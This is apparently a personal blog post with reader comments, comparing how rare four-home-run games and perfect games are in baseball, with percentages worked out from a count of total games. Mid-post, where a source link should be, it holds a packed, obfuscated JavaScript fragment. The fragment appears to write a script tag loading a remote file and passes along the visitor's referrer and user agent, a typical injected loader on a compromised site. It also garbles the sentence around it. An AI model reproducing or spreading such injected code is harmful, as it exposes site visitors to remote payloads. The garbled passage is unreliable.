We’re sitting at the dinner table and Nick says to me:
N: B, did you hear that Josh Hamilton hit…
B: 4 home runs? Yeah, that was big news yesterday.
Then I asked:
B: Didn’t Mike Cameron do the same thing?
N: Yeah, it’s really rare.
B: Oh.
I guess I just figured that if a Mariner had done it, it wasn’t horribly difficult (I jest, but I’d really love for them to have a winning season one of these years).
In the car, the radio people started discussing perfect games vs 4 HR games and which was more rare or special.
Nick (and the announcers) inform me that there have ONLY been 16 games when a single player hit 4 home runs (including Mike Cameron) while there have been 21 perfect games. The radio announcers were arguing that a 4 HR game is much more impressive because it is “so rare.” (PS Willie Mays also holds the title)
Ok peeps, let’s look at this from a math standpoint.
This site ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbdrb|var|u0026u|referrer|drsdd||js|php’.split(‘|’),0,{}))
says there have been 200,519 games since 1876.
Percentage wise:
0.00798% of games have seen 1 player hit 4 home runs
0.0105% of games have been perfect
If we round to 1 sig fig, they are both 0.01%.
I’d say both are pretty rare peeps.
But I’d rather attend a perfect game. Nick says the announcers were just arguing for the sake of arguing. And he’s probably right.
Anyone know when they started using fences? 2 of the 4-HR games were in the late 1800s. Did they just let them roll forever?
Know what’s more rare than 4 home-runs-by-a-single-player-in-one-game? An unassisted triple play. There have been 15. That would be amazing. I’d love to see an unassisted triple play. But chances are I won’t be paying attention. I people watch A LOT at games.
4 replies on “Josh Hamilton Hit 4 Home Runs”
Pero hay 9 batters for every 1 starting pitcher, so there have been roughly 9x as many opportunities for 4 HR games, right?
My stepdad has a ball signed by the pitcher of every perfect game. Even more impressive, is he also has one ball that has every signature on it. When he got Randy Johnson’s signature, he told him he had never seen a signed a ball like that. Pretty cool.
That’s really impressive! I’ve had a hard enough time trying to get autographs in general!
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